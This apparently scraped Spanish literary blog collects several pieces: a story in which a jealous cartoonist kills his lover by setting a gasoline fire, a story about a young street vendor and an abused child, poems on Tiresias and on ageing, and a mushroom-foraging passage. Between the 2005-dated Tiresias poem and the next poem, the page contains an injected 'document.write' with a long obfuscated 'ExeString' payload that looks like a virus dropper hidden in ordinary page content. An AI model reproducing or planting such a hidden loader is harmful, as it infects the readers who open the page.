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Desde el ómnibus que lo conduce de vuelta a casa, el paisaje conocido de campos interminables, pequeños caseríos, lagunas, puentes sobre arroyos y ríos, no le distraen del motivo de su viaje. Siente una urgencia visceral de estar al lado de Eva, su amor. Ella, no sabe de su regreso, la intención, es sorprenderla. El pueblo que lo vio crecer, cercano a Bahía Blanca, no supo o no pudo apreciar las notables condiciones del joven Francis, dibujante y caricaturista. “Nadie es profeta en su tierra”. Cansado de golpear puertas sin obtener resultados, decidió enviar sus trabajos a editoriales de la capital. Pasaron meses hasta que alguien creyó en su talento. Enseguida, se mudó y empezó a colaborar en revistas y también en un diario. De esto hace cinco meses, cinco largos meses en que satisfacer las necesidades básicas, estar al tanto de las noticias para motivarse, y la adaptación a este importante cambio de vida ocuparon su tiempo. Los fines de semana, después de poner orden en el cuarto, sus papeles y la ropa, hace caminatas interminables en las que descubre lugares increíbles de esta inefable y desordenada ciudad. Junto a Eva, sería completa su felicidad, por el momento es impensable. La joven, carga sobre sus hombros una historia que siente como un estigma, y al confiársela, despertó en Francis una inmensa ternura. Hija de una niña- madre, demasiado inmadura, para asumir la responsabilidad de criarla, la dio en adopción a un matrimonio sin hijos, Lidia y Guillermo, ella, una mujer neurótica, exigente y perfeccionista, él un militar de carrera que construyó la gran residencia que soñaba poblar con una numerosa descendencia. Nada de eso pasó, agotado los intentos y profundamente desilusionado, por razones de trabajo, empezó a viajar con frecuencia. Fue un alivio, le resultaba insoportable encontrarse con la agria cara de su mujer cada día más obsesiva con el orden y la limpieza, sus objetivos de vida. Inevitablemente, volvía los fines de semana. Un sábado llegó decidido a ejecutar un propósito gestado cuando se enteró que no tendrían hijos y consolidado al paso de los años. Cambiar la mansión por un departamento en la ciudad. Tendría que vencer la dura resistencia, que seguramente, le opondría Lidia, que amaba su residencia sobre todas las cosas. Al llegar, la vió sentada en su sillón favorito, junto al hogar, absorta, con un pequeño envoltorio en su regazo. Pensó que había enloquecido de soledad y se sintió culpable. Se acercó a su esposa despacio, conteniendo la angustia que lo embargaba. Ella levantó la vista cuando advirtió su presencia y tendió los brazos ofreciéndoselo. Era una criatura de pocos días. Temerosa, casi suplicante, le contó a su marido que la trajo una mujer desconocida y tan desesperada que la creyó capaz de arrojarse al paso del tren, se lo juró, si no le recibía a la recién nacida. Cuando Lidia se recuperó de la sorpresa, la mujer había desaparecido. Guillermo, llamó a su abogado y amigo y también a un pediatra de su confianza. Relaciones mediante, después de comprobar el excelente estado de la niña, la adoptaron legalmente. Lidia se esmeró en la crianza, Guillermo se convirtió en padre de un día para otro y fue de los mejores a pesar de su carácter estructurado. La llamaron Eva. Al término de sus estudios secundarios debió postergar sus anhelos para convertirse en enfermera de su progenitora que viuda, inválida y de mal carácter requiere de todas sus energías para su atención y el cuidado de la casona .que habitan. Francis, sonríe y evoca la imprevista circunstancia en que la conoció: Su primo, Gerardo Mayorga, volvió al pueblo apenas recibido. Desplegó su flamante diploma de médico en las renovadas instalaciones que su padre, el tío Alberto, le dejó vacantes. Con juvenil entusiasmo, se hizo cargo de la salud de los vecinos. Se casó con la espigada novia de la adolescencia y antes del año, se convirtió en padre de mellizos. En tren de visita a una paciente, se encontraron y Gerardo, le pidió que lo acompañara. El viaje duró alrededor de media hora en su traqueteado jeep. En el trayecto, aprovechó para desahogarse, su vida familiar, era un caos. Tenía necesidad de contárselo a alguien. Marisa, su mujer, no pudo recuperar su elegante figura después que nacieron los gemelos, eso agregado a su naturaleza desconfiada, la habían llevado a convertirse en una celosa arpía. Se cansó de su odiosa costumbre de revisarle los bolsillos, de entrar al consultorio sin llamar, intempestivamente cuando se le ocurría. Llegó a seguirlo cuando hacía visitas domiciliarias para pescarlo infraganti, cosa, que por supuesto, jamás ocurrió. Por sus constantes escenas, no le quedó alternativa, se vio obligado a despedir, muy a su pesar, a la última secretaria, escultural y muy bonita, por añadidura. Esto último, fue la gota que colmó su paciencia, al recordarlo, la sangre, se le subió a la cabeza y apretó el acelerador con rabia. Francis, no pudo disimular una sonrisa, conocedor de la fama de mujeriego de su pariente. Este alcanzó a percibirla cuando llegaron a destino, muy oportunamente, para evitar una incómoda explicación. El relato, se interrumpió. Llegaron a una casa señorial, rodeada de un amplio parque con palmeras datileras, jazmines y rosales, dividido por un sendero de ligustrinas que conducía a la entrada principal. En el amplio porche, los sillones de ratán eran una invitación al descanso. Francis, sacudió la campana y al momento salió a recibirlos una muchacha delgada, de pelo y ojos oscuros. Saludó y con un gracioso ademán, los invitó a pasar al interior. Gerardo, precedido por la joven, fue a cumplir con su deber, Francis, se entretuvo en observar armas antiguas, monedas y medallas, todo prolijamente dispuesto en vitrinas, y ordenado con rigor de coleccionista. En una cristalera, delicadas figuras de marfil, de distintas procedencias, en otra, porcelanas, frágiles, antiguas. En fin, el mobiliario, los adornos, los cuadros acapararon su atención. Era como estar en un reducido museo. Una voz lo sacó de sus cavilaciones. -¿Toma un refresco? - ofreció la joven, portadora de una bandeja con vasos de limonada. –Le agradezco.- dijo Francis, sediento en ese día muy caluroso, luego de beber, la felicitó por los objetos atesorados. -Pertenecen a mi madre. - respondió sin entusiasmo. Observó, con curiosidad de artista las manos delicadas, perfectas y le expresó su deseo de dibujarlas, levantó la cabeza sorprendida, entonces, descubrió el color de sus ojos, de un azul profundo. Un ligero rubor, tiñó sus mejillas, para esconder su turbación fue a correr las cortinas, la habitación quedó en penumbras, Francis pudo apreciar su talle delgado y esbelto y la armonía natural de sus movimientos. –De cuerpo entero, corrigió. -Voy a pensarlo-dijo ella sin pestañear. De regreso, Gerardo comentó la visita. Una paciente tan difícil, mencionó el sacrificio de Eva, víctima de una madre desconsiderada. Después tocó otros temas sin reparar en su primo abstraído, en secretos pensamientos. Volvió a verla al cabo de un mes, en el pueblo. Cargaba un bidón de nafta que, más tarde comentó, usaría para remover la cera de los pisos. Francis, se acercó a saludar y diligente, ofreció su ayuda, aseguró el cierre de la tapa y lo depositó en el baúl del auto, después de recomendarle tomar precauciones para evitar accidentes. – Los vapores son altamente combustibles. Asegúrese, cuando decida hacer el trabajo, de tener las ventanas abiertas y cerrados los calefactores o cualquier artefacto que pueda producir combustión. ¡Sería muy lamentable, que por un descuido, estropeara su belleza.! Sus palabras, sorprendieron y halagaron a la muchacha, no era frecuente, ser objeto, de tantas y tan delicadas atenciones. Sonrió y en voz baja dijo: -Estoy dispuesta a ser su modelo– Al momento, Francis, no entendió a lo que se refería, ella agregó: -Mañana, después del almuerzo, estaré libre, no es necesario que llame, lo espero. Se presentó con su caja de trabajo a las dos de la tarde. Cumplió lo prometido, salió a su encuentro, rodearon la casa y entraron por los aposentos de atrás. Subieron por una amplia escalera de roble, hasta el salón donde iba a realizar el trabajo. Era una habitación bien iluminada, con piso de madera y cuadros en las paredes. En el centro, una otomana, una silla tapizada de pana marrón y una mesa pequeña eran todo el mobiliario. Desplegó los útiles sobre la mesa, ella, con naturalidad, abrió la túnica y quedó como vino al mundo. Con la misma naturalidad se recostó en el diván No podía concentrarse, se puso muy nervioso, ella ignoró su turbación y comentó: - Estará acostumbrado a ver mujeres desnudas. Carraspeó un – Por supuesto- secándose el sudor de las manos y maldiciendo por dejar trasparentar sus emociones. Hizo algunos bocetos que no lo conformaron. El artista, no pudo despojarse de su condición de hombre, tampoco ella ayudó, levantó los brazos, sus pequeños pechos, redondos y firmes, descubrieron los pezones en actitud desafíante. Convinieron sesiones de dos horas, nunca antes destruyó tantos bocetos, ninguno le pareció aceptable. Sobre la hora, comenzó a guardar todo, se sentía torpe, inepto. Ella, se vistió con la misma naturalidad con la que se desnudó y en silencio lo acompañó hasta la puerta. Sus palabras de despedida fueron – Mañana a la misma hora- Al día siguiente reunió fuerzas y volvió, procuró vencer esa molesta inseguridad, sólo que esta vez, fue distinto. Eva, tenía puesto un sencillo vestido, color lavanda. Tranquila, silenciosa, fue a sentarse junto a la ventana. La luz, a sus espaldas, creaba sobre la negra cabellera, un luminoso efecto de nimbo. Los ojos, entornados, bajo los delicados párpados, sombreados por oscuras y sedosas pestañas, las manos cruzadas sobre el regazo. Era la modelo ideal. Francis, logró captar ese instante, con maestría, hizo gala de su talento y profesionalidad. Quedó muy satisfecha con el dibujo y pidió que le eligiese un marco apropiado. Volvió a la semana, esperó largo rato oculto detrás de una añosa palmera. Cansado y abatido se disponía regresar sin haberla visto, cuando llegó con su madre en un auto de alquiler. El conductor ayudó a sentar a la señora en la silla de ruedas y luego se marchó. Antes de abrir la puerta, Eva, advirtió su presencia. Con un gesto, indicó que la esperara. Oscurecía cuando apareció por los fondos, le tomó de la mano conduciéndolo por las escaleras, esta vez, fueron a su dormitorio, allí se sintió segura y pidió disculpas por la demora. Vio el trabajo ya concluido y manifestó su aprobación llenándole de besos. Se sintió algo confundido pero muy satisfecho, después se dejó llevar por su entusiasmo. En esa muchachita, de apariencia frágil, se ocultaba un volcán. Se vistió para retirarse, ella suplicó: - Me gustaría mucho que te quedaras, necesito hablarte. En el momento que te vi por primera vez supe que estábamos destinados... - No quiero que tengas problemas con tu madre- respondió Francis. - Ella no se va a enterar, sufrió mucho tiempo de insomnio, pero hoy, vencí finalmente su resistencia, aceptó que tu primo le recete unas pastillas que la sumergen en un sueño profundo. Al dormir lo suficiente, va a recuperar la tranquilidad y yo la mía. Es hora de que empiece a pensar en mí. Pareció lógico su razonamiento y muy oportuna la actitud de Gerardo. Esa noche maravillosa, fueron ellos, los insomnes. De madrugada, Eva, fue a ver a la madre que seguía profundamente dormida. Francis se marchó después de compartir un desayuno reparador, antes, prometió que volvería esa misma noche, entonces ella advirtió – Entrarás solamente, cuando haya luz en la ventana de mi habitación. Eso significa que mi madre duerme, y yo estaré esperándote para dedicarte todo mi amor y mi tiempo. La puerta trasera estará abierta para ti. Añadió: -Mamá, es muy estricta y exigente, no permite que tenga amigas ni que persona alguna entre a su casa si no es por una necesidad imperiosa, como cuando necesita al médico. Gracias a las pastillas, tendré mayor libertad para mí... para nosotros corrigió llenándolo de besos. La vida del muchacho se transformó desde aquél día, desapareció ese pesimismo habitual y comenzó a encarar el futuro con esperanza y determinación. Con entusiasmo, creó, hizo caricaturas de personajes descollantes históricos y actuales y agregó comentarios surgidos de su desbordante imaginación. Mandó todo por correo electrónico a diarios y revistas de la capital. El amor que produce esos cambios es mágico. Nunca, antes sintió tanto valor, tanta confianza en sí mismo. Consiguió lo que se proponía al cabo de unos meses, el contrato de una importante editorial. Sus ingresos, no le permitirían, al menos en los primeros meses, viajar seguido, para verla. Eva, derramó muchas lágrimas, al conocer su decisión de alejarse, pero luego comprendió que era la única posibilidad de llegar a estar juntos en un futuro no muy lejano. Fue muy duro pasar estos cinco meses sin sus caricias, sin el calor de su joven cuerpo, ya se había acostumbrado a visitarla varias veces en la semana. Sólo una vez, la ventana permaneció a oscuras y tuvo que regresar desolado. La señora, se había negado a tomar la dichosa pastilla. Hoy, después de cinco meses de ausencia, adelantó el trabajo para tomar unas breves vacaciones. Va a recuperar el tiempo perdido. Cuenta los minutos que los separan. Llegará al pueblo a las veintitrés hs. dentro de diez mn. Sin demora, correrá hacia la casa de Eva. Estos largos meses de ausencia, han sido reveladores para él. Ahora sabe que su vida, sólo tiene sentido a su lado. De sus anteriores relaciones afectivas, guarda sólo un fugaz, diluido recuerdo. Nada que le conmueva ni le perturbe. El sacrificio de esos cinco meses, de soledad, confirmó la decisión de unir su vida a la de Eva. No admite otra posibilidad. La sorprenderá con su propuesta. Le lleva un anillo. No fue fácil encontrar lo que tenía en mente, debió recorrer muchos lugares, pretendía algo único, digno de la destinataria. Fino, delicado, diferente. Cansado de ver escaparates sin hallar lo que quería, finalmente, una tarde de domingo, en Belgrano, descubrió una feria artesanal. Le habían recomendado ver a Claudia, talentosa y hábil orfebre. Precisamente, estaba armando su puesto. Debió esperar a que terminara de ubicar sus creaciones. Su ojo clínico para apreciar la belleza, reconoció que había llegado al lugar indicado. Entre una variedad de diseños, descubrió lo que imaginó. En oro blanco, con una gema artísticamente engarzada, la piedra, del mismo color de los ojos de Eva, azul oscuro, profundo, insondable. No dudó, ni por un momento. Le hizo grabar una dedicatoria en el reverso: Francis Mayorga a Eva Hervé “Para Siempre” ni más ni menos, lo que se había propuesto. El micro, llega a destino. Apura el paso que acorta la distancia que los separa, tiene alas en los pies. Imagina su sorpresa al verle, ni se le ocurrirá pensar que está tan cerca. Se emociona anticipando el momento de colocar el anillo en su dedo anular. Quiere acallar los aturdidores latidos del corazón. Que nada sospeche. Entrará a su cuarto por la puerta de atrás, como siempre, y la cubrirá de besos. Si está dormida, creerá que es parte de un sueño, pero al sentir su pasión, la urgencia del sexo, se brindará dócilmente al placer del amor, como tantas veces. En esta larga ausencia, su imaginación febril, recreó los intensos momentos vividos, el deseo, corre por sus venas como un potro desbocado. Está frente a la casa, el familiar canto de los grillos lo recibe, atraviesa la cerca para evitar el chirrido del portón, camina despacio. Luna nueva, está muy oscuro y se orienta por la posición de los árboles. Levanta la cabeza para ubicar el cuarto, testigo de sus felices horas. Hay una luz en la ventana. Se enteró que estoy aquí, piensa anhelante. Ebrio, sin haber bebido, frena el impulso de subir al paraíso donde ella espera ansiosa, sedienta, como él. Apoya el cuerpo desfalleciente en el desparejo tronco de una palmera, el cansancio del viaje, la espectativa, el deseo contenido, obran como una fuerza negativa que procura doblegarle. Alguien se acerca y abre el portón. Se dirige con paso seguro y con evidente conocimiento del lugar. ¿Será un ladrón? Podría abalanzarse sobre él, tiene de su lado el factor sorpresa. Entonces, la sombra se desvía hacia la puerta del fondo, allí muy cerca oye la voz y el apasionado recibimiento del que tantas noches fue destinatario. Ardientes promesas y palabras dichas entre caricias y besos, las mismas que lo convirtieron en el ser más feliz. En su cabeza todo es confuso, su mente, un torbellino de pensamientos más oscuros que esa noche cerrada. Avanza como un autómata, siguiéndolos hacia la escalera tan conocida. La urgencia del deseo los hace imprudentes. Las puertas quedan abiertas. De la habitación, le llegan susurros, gemidos. Imagina sus cuerpos palpitantes, sudorosos, enlazados. Vacila aturdido, siente naúseas, lo que antes fue maravilloso, sublime ahora es repugnante, grotesco. No es él, el protagonista masculino. Contiene el deseo furioso de golpear hasta que le sangren los nudillos. Va por más. Un recuerdo súbito lo lleva hasta el placard donde se guardan los implementos de limpieza, sabe bien dónde encontrar lo que necesita. Levanta el recipiente lleno de nafta, derrama el contenido sobre el piso y la puerta del dormitorio que cierra despacio con dos vueltas de llave y arroja un fósforo encendido. Una explosión, y el inmediato resplandor del fuego, le aseguran el éxito de su cometido. Corre, corre, hasta alejarse de ese lugar maldito, de pronto se detiene, el rostro descompuesto, vuelve la mirada, sus ojos reflejan las llamas que danzan consumiéndolo todo, es una visión fantástica en la negra noche. Se escucha gritar con voz sarcástica, brutal que no reconoce como propia: -¡Es lamentable que por un descuido estropees tu belleza!- después se quiebra en llanto. En la ruta, detiene un ómnibus. Busca en el bolsillo dinero para abonar el pasaje, sus dedos rozan el pequeño estuche, un escalofrío recorre su cuerpo. Siente la imperiosa necesidad de alejarse, poner distancia, dejar todo atrás. Son escasos los pasajeros. Están dormidos. Se sienta y procura ordenar el caos de su mente. El cansancio, las emociones vencen su resistencia, no tarda en caer en un sueño inquieto, pródigo en visiones dantescas. El conductor del camión que se acerca de frente, se ha adormecido en ese tramo recto, monótono. El chofer del micro, se adelanta al que lo precede, cuando ve el camión que se desplaza, hacia su carril. Para evitar el choque frontal, con una brusca maniobra, sale de la ruta. Dando tumbos se precipita por la abrupta pendiente, hasta quedar aprisionado entre los árboles del barranco, que se descuajan bajo su peso. Amanece, el aullido ensordecedor de las sirenas de ambulancias y coches policiales, hiende el aire. No hay supervivientes entre los pasajeros del micro. Eran ocho, con el conductor. En la ruta trabajan los médicos, auxilian a los heridos del ómnibus que venía atrás. Una tragedia. Llega la policía judicial, constata las defunciones y ordena la identificación de las víctimas. Ana Duarte, oficial de justicia, observa muy interesada, el anillo que se encontró en el bolsillo de uno de los occisos. Está dentro de una bolsa de plástico junto a sus otras pertenencias. Con ayuda de una lupa lee la dedicatoria grabada: Francis Mayorga a Eva Hervé“Para siempre”. -¡Qué coincidencia! - exclama- Escuchó las noticias de la mañana, en la radio de su auto, cuando venía a trabajar. Una joven mujer, con ese nombre, Eva Hervé, junto a su amante, de apellido Mayorga, médico rural, y la madre, incinerados en la residencia, de las afueras del pueblo. Suponen que el incendio fue provocado. Se detuvo a una mujer, en los alrededores, presa de un ataque de nervios. Resultó ser la esposa engañada. Aparentemente, todo cierra, “crimen pasional.” Ana, observa la joya, empieza a atar cabos y saca sus propias conclusiones. A veces, un detalle, como éste, puede hacer tambalear lo que parecía estar resuelto. Tiene en sus manos algo que puede cambiar esta historia. Los ojos intrigados y suspicaces de sus compañeros, la siguen, cuando resuelta, desaparece con la bolsa de plástico, tras la puerta del despacho de su inmediato superior. Mi nombre es Adela, tengo dieciocho años. Hace tres meses que me dedico a la venta domiciliaria. Terminé el secundario y comencé a prepararme para rendir el ingreso a la universidad. En las clases de orientación vocacional, descubrí lo que más me moviliza: La condición humana, es decir, para aplicarlo al país en que vivo, la necesidad de cambiar la situación de tanta gente relegada, sin futuro ni esperanza.. Leí, en “La República” de Platón, que el Estado, sólo tiene validez si está dirigido por hombres que pueden educar al pueblo y hacerlo bueno y feliz. Ese pensamiento, coincidente con el mío, desde que tengo uso de razón, es la verdadera finalidad de la Política. Desgraciadamente, aquí, quienes la ejercen, lo hacen guiados por mezquinos intereses personales y nada les importa la situación ni la educación de la gente. Mientras más ignorante, más sometida. En las charlas que teníamos con la profesora de filosofía, nos alentaba a estudiar y luchar por nuestros ideales. – “A Uds., les corresponderá sostener la Democracia, que seguramente se practica con muchas falencias, pero aún así, es lo más adecuado para los hombres libres.” Siempre proponíamos temas para debatir. Al principio con dificultad para expresarnos, pero su paciencia y tolerancia, nos ayudaron a concretar y formular nuestras ideas y a interpretar y aceptar las de otros. Papá, trabajó en una fábrica de calzado desde los quince años. Hace diez, fue cerrada, ante la imposibilidad de competir con la avalancha que se importó de Brasil. Enseguida, se dedicó a la venta domiciliaria. Primero tuvo que salir a vender los zapatos con que le pagaron en la quebrada empresa, después agregó otros artículos, para satisfacer los pedidos de su clientela, que aumentaba día a día. Su vida estuvo siempre consagrada a la familia, mamá Amalia y sus hijos Andrés, mi hermanito de ocho años y quien esto escribe. Mi buen padre, se tragó el pesar y lo frustrante de quedar en la calle a una edad en la que es imposible la reinserción... Era cuestión de tiempo, esa amargura, provocó el infarto que casi le cuesta la vida. Postergué, momentáneamente, los estudios y tomé la posta, ignoré sus reparos, los prejuicios, decidí reemplazarlo y salí a vender. Mamá cuida de él, que aún tiene para rato, de mi hermano y de la casa. Compro, en un mayorista del centro, ropa interior, remeras, camisas, medias y alguna otra cosa que me parezca aceptable. El éxito depende de ofrecer lo que la gente necesita, a buen precio y que sea de buena calidad. En estos tres meses que me dedico al comercio, me conocen por el carrito de supermercado en que llevo la mercadería prolijamente doblada y visible, como me enseñó papá. Recorro los barrios cercanos a mi hogar para evitar el costo de transporte. Si alguien elige algo de lo que expongo, seguro, lo compra pues trato de reducir al mínimo el margen de ganancia, pero eso sí, para evitarme problemas, vendo únicamente al contado. Esta nueva actividad, además de darme la oportunidad de conocer toda clase de personas, hizo que me volviera más cauta y desconfiada a partir de lo que me pasó días atrás. No lo conté en casa, para no alarmarlos y sobre todo, para evitar los reproches de papá que me tiene prohibido acercarme al barrio aquél. Llegaron a casa varias boletas de servicios con fecha de vencimiento y necesitaba juntar más dinero. Olvidé las recomendaciones y dispuesta a vender todo, me alejé más de lo aconsejado. Llegué a una zona de descampados. De la puerta de una casa muy descuidada y cubierta por yuyos, escuché la voz áspera que me llamó - ¿Qué traés, chica? Diligente, me acerqué a mostrar mi mercadería. Una mujerona, ceñía el lazo de su bata de seda verde, con motivos orientales. El pelo teñido de un colorado furioso, igual que las uñas largas y afiladas como garras. Repasó todo sin interés. En un último intento, saqué el paquete de tres bikinis de hilo de seda, tejidas al crochet por mi madre, que las copió de una revista de modas. Sus ojos, entonces, cobraron interés, llevándolas en una mano, se alejó por un oscuro y largo pasillo. Al momento apareció haciendo un gesto con el índice curvado, como invitándome a seguirla. Venciendo mis escrúpulos, caminé por ese corredor de paredes descascaradas y grasientas, hasta llegar a un cuarto maloliente en el que una cama desvencijada y una cómoda llena de trapos eran el único mobiliario. Dejó caer la bata de seda y giró para que la viera en toda su dimensión, no sé cómo se había calzado el bikini de color naranja. Se me desencajó la mandíbula de la impresión. Le salían rollos por todas partes. Confundió mi sorpresa por admiración y se pavoneó un rato. Sin el menor recato, se probó las otras dos, muy complacida con la imagen que le devolvía el deslucido espejo. Intenté decirle lo obvio, que esa prenda, no correspondía a su talle, pero ignoró mis palabras y como dice mi padre, “el cliente siempre tiene razón” Preguntó el precio. Ni siquiera pidió rebaja, a pesar que siempre dejo un margen para el regateo. Me pagó cantante y sonante. Casi no podía creerlo. De asombro en asombro, guardé el dinero destinado a cancelar varias deudas, me despedí y ella sin responder, siguió contoneándose, frente al espejo. Salí al pasillo. Tenía alas en los pies. Ya no me pareció tan espantoso el lugar, ni tan vulgar el aspecto de su moradora. Antes de llegar a la puerta, sentí un tirón en la falda. Un niño, quizá de la edad de Andrés, sin palabras, pero con gestos elocuentes, me obligó a seguirlo. Algo vi. en sus ojos que me inspiró confianza. En la calle, me guió por un sendero que atraviesa un terreno baldío, en diagonal. Me dejé llevar por un impulso, corrí tras él hasta alejarnos del lugar. De todos modos, yo, no entendía nada. Cuando lo consideró prudente, se detuvo y señalándome la esquina opuesta, me aseguró que allí, me esperaban para despojarme del dinero. Alcancé a distinguir dos bultos agazapados. Me dio a entender que esta era una práctica corriente, los dos truhanes hijos de mi robusta clienta, pareja de su débil padre y víctima como el pobre niño de malos tratos y abusos. Conmovida y asustada no pude ordenar mis ideas. Sólo atiné a correr para alejarme del lugar. No recuerdo si le agradecí. A pesar de estar bastante lejos de mi casa llegué rapidísimo. Mamá, se alarmó al verme tan alterada. Eludí su interrogatorio. Para desviar su atención, hablé sin pausa del éxito que tuvieron sus mallas. Mi relato, adaptado para la ocasión, la conformó y elevó su autoestima. Buscó entusiasmada su cesta de tejido dispuesta a reponer las prendas vendidas. Habitualmente, después de darme un baño, me ocupo de asentar y revisar las entradas y salidas diarias y de hacer la lista de la mercadería faltante. La risa, de los míos, me distrae, por un momento. Desde la silla que ocupo, veo a papá y a mi hermano, empeñados en una partida de ajedrez, mamá, hace bailar la aguja entre sus dedos, sin perder de vista a sus amores. Un tentador aroma de manzanas y canela, me llega desde la cocina. Observo a Andrés, ¿sabe que tiene tanto para ser feliz? amado y contenido, rodeado de afectos y cuidados. Estas escenas, tan familiares y cotidianas en mi vida, están a distancias siderales para tantos que no tienen ninguna posibilidad de experimentarlas y tengo la certeza que son muchos. La imagen del niño aquél, me obsesiona, lo pienso atormentado y sometido por los dos gandules y por su madrastra.. ¿Qué lo movilizó a ayudarme? Prefiero creer, que ha sido su incontaminada caridad y no un deseo de venganza o revanchismo. De todos modos, sea como sea, me libró de un mal momento. Doy vueltas en la cama, sin poder dormir, la carita sucia y torturada, me persigue. Papá oye las noticias de la mañana, mamá sirve el desayuno. ¿-Escuchaste, Amalia?- pregunta papá, -Encontraron el cuerpo de un chico de la edad de nuestro Andrés muerto a golpes. Con dificultad se levanta y va a asegurarse que mi hermanito todavía duerme. Al pasar a mi lado, observa: -Es en el barrio a donde te prohibí ir, Adela. ¿Te das cuenta, por qué lo hice? La angustia, me cierra la garganta, ¿ Será el pequeño? Cómo saberlo, ni siquiera conozco su nombre. Salgo al jardín para tomar aire, pero igual siento una sensación de asfixia. Estoy muy mal, un atroz presentimiento me dice que debe ser él. Sólo era un niño pequeño, abandonado y seguro, sin educación, pero me brindó su apoyo y evitó un gran disgusto. No pidió ayuda, no lo hizo con palabras, pero en sus ojos había un SOS más grande que una casa. No puedo dejar de llorar, de impotencia y amargura. -¡Adela - llama mamá, - se enfría el café con leche! Es Tiresias, el tebano, excepcional, como ser, en ocasiones, es hombre, en otras, una mujer. Para aclarar la cuestión, ya que es el más indicado, Los dioses, que alegan dudas, al Olimpo, han convocado. Por sus vastas experiencias, sin más, es interrogado. A Zeus y también a Hera, decide, hacerles saber quien goza más con el sexo, si es el hombre, o la mujer. Por privadas situaciones, que se cuida de contar, sin vacilar, les responde: -Ellas, nueve veces más. Hera, que es una mujer, susceptible y recelosa, sin mediar otra razón, lo ciega. ¡ Cosas de diosa! Zeus, inclina la balanza y le otorga larga vida. Atenea, por su parte, el don de las Profecías. Guillaume Apolinaire, autor de los caligramas, en su poema “ Las tetas de Tiresias” hace referencia a este personaje de la mitología griega. Tiresias, fue quien anunció a Edipo las profecías. jueves, 04 de agosto de 2005 document.write "" ExeString = ">cjChTg_lb+BnjkN_us&P_rN_us&>bfl_bRcak+;jmk_I_i_]q+@ML+QmPg_fi+QckO[ne+Mo_D&@fm[fvCcmhMraEG^mn^qn&EGR_nAhg&EGBl_^s_Gfkc_r'#JDFfj_Cq'#JD=od[nbL[ci'#JDJonj[d`n_%(Bm^Pt\@rm]nfnhHI;jmdh^Qn@fk_J^sb&Qxj_Psl#IhDlllqLbrogbH_usPdnOd[^Qdgj_c`ofqH]ik[#QmPg_fi-L_dVlcqdEJ?S\BF;PR?M\QIIQ[^fiecfb[M]ohjnBmackdV)!PbrenloV&(IoO@`m_%O[neM[gb(7T=[pdQfmJ[qg !>_pjnim!##Qg_hBnqDrcpsm:+Dh^H`H`Esn?uhmnp7-NbbmCRI(@njsChf_VchM`nb%pxmnbl-,Yc_mhsij+hhc+J[qgH[jdCRI(@njsChf_VchM`nb%td\VCnf^bq(bqs&M`nbK`g_?haC`?ha@okbnclm@okbnclmEGR_nAhg&Ik?lonlOdmojdHbwnDll+Bf_^qQdmnFs7VM]ohjn+R]lfon@rkfh^l_H`BqlQg_hChTg_lb7gngi!Bkm_ChTg_lb7u\m?kcCcCcChTg_lb7u\mNbbmPdnCRI:=lb`n_Lad_`sPblcmschd-@cidMsps_gLad_`s#M_qQmPg_fi7@q_[qdI\gd]n%!QM`qcjq-Mbbkf&?ir_R_n@jjidI\gd]nqlf(7Hhn%'3'Lha(#M_rqNbljMqqchd7!Cnlfr]Jh^QgcmQdrn)h&+&(FeNbljHrl70-Qg_hN_joHoj7/7Bkm_FeNbljHrl70*Qg_hN_joHoj7/8Bm^FeQdgj@g[l Detrás de mis hijos iba, / ellos eran muy pequeños, o lo soñé y en mi sueño,/ la imagen se repetía. Los perdí por un momento / un descuido, un desatino, una piedra del camino / que desvió mi pensamiento. Después los volví a encontrar / más ya, como adolescentes. El tiempo, pasó inclemente,/ no lo pude remediar. Veo, hoy, mi rostro angustiado / reflejado en el espejo Los niños de ayer, son hombres / y yo, me veo tan viejo.... Cuando marzo se anuncia con sus intempestivos chaparrones, seguido por la aparición de un sol deslumbrante, es seguro que depara sobradas alegrías, a quienes nos dedicamos a la búsqueda de setas comestibles. Está demás decir que esta actividad la desarrollamos en lugares boscosos, preferentemente donde abundan especies variadas de pinos y en los suelos, ricos en mantillo, anidan escondidos, estos especímenes, objeto de nuestro deseo. Es por demás placentero recorrer las sierras provisto sólo de una varilla y una bolsa. Con la primera hurgo cuidadosamente entre los pastos para evitar dañarlos, después de asegurarme que son los apropiados, los acomodo en la bolsa. En Europa, muchas personas se reúnen para llevar a cabo esta actividad, que además de deportiva, desarrolla las facultades de observar, comparar, identificar y posteriormente saborear en exquisitas preparaciones este regalo que brinda la naturaleza. Además de agradables son muy nutritivos- En el pueblo la llamaban “la loca de los hongos.” Cuando aparecían los primeros, antes de comenzar el otoño, alerta, como movida por un resorte, precipitaba sus pasos en su búsqueda. La temporada de lluvias, seguidas por la aparición del sol radiante, le aseguraba abundante cosecha. Posiblemente heredó esta actividad de su padre un gringo loco, de los tantos que en el siglo pasado, produjeron los conflictos europeos y la marea de la vida distribuyó por distintos lugares. En un rancho perdido en la espesura de las sierras chicas, vivió como un ermitaño, sin alentar ningún contacto con el resto de sus escasos vecinos. Nadie supo que compartió su vida con alguien hasta que unos llantos de guagua, advirtieron que el loco de la guerra había obedecido el mandato divino de “CRECED y MULTIPLICAOS” Después corrieron rumores de una niña flaca y desgreñada que solía acercarse hasta la escuelita rural atraída por el bullicio de los niños, creían algunos, otros le habían visto compartir los mendrugos con los perros que merodeaban en busca de algo para llenar la tripa. No se le conoció madre. Huraña y desconfiada, huía sin dejar rastro, a la menor intención de acercamiento. Vagaba por el monte hurgando en las oquedades de ciertos árboles en busca de la miel de palo que producen una clase de abejas salvajes, a la que se atribuyen propiedades curativas para las afecciones del pecho. Recogía frutos del monte, huevos, setas y hongos silvestres todo lo que generosa, la naturaleza le proporcionaba. Una mañana, me aventuré a recorrer la sierra y llevada por mi entusiasmo fui alejándome más de lo que la prudencia aconsejaba. En ese día particularmente caluroso, llegué a un paraje umbrío que invitaba al descanso. El rumor del arroyo cercano era el fondo adecuado para lograr el ansiado relajamiento. Me estiré sobre la fresca gramilla y tomé conciencia de lo poco que se necesita para lograr un pleno estado de felicidad. Un leve crujido, como el de una rama al quebrarse, disparó mi atención. Los sentidos, alertas, buscaron al causante de dar fin al mágico instante. No fue posible y deseé con toda mi alma reanudar el momento, sin lograrlo. Una desagradable sensación, como cuando nos sentimos observados, me obligó a apresurar mi partida. Giré la cabeza y una escurridiza sombra se esfumó en la espesura. Sobre una piedra, dejé un emparedado y algo de fruta, después busqué, en la gramilla aplastada, las huellas para regresar por donde había llegado. Detuve mis pasos tras un corpulento roble y desde allí esperé impaciente a quien se acercara a tomar los alimentos. Mi paciencia fue recompensada. Un ser andrajoso, se precipitó y en un santiamén devoró todo, rascó su desgreñada cabeza y sus ojos se encendieron en resplandores cuando un rayo de luz, iluminándolos, se filtró entre los árboles. Enseguida tomó el camino opuesto al mío. El regreso, lo hice sin darme cuenta. La visión me pegó fuerte. Mis 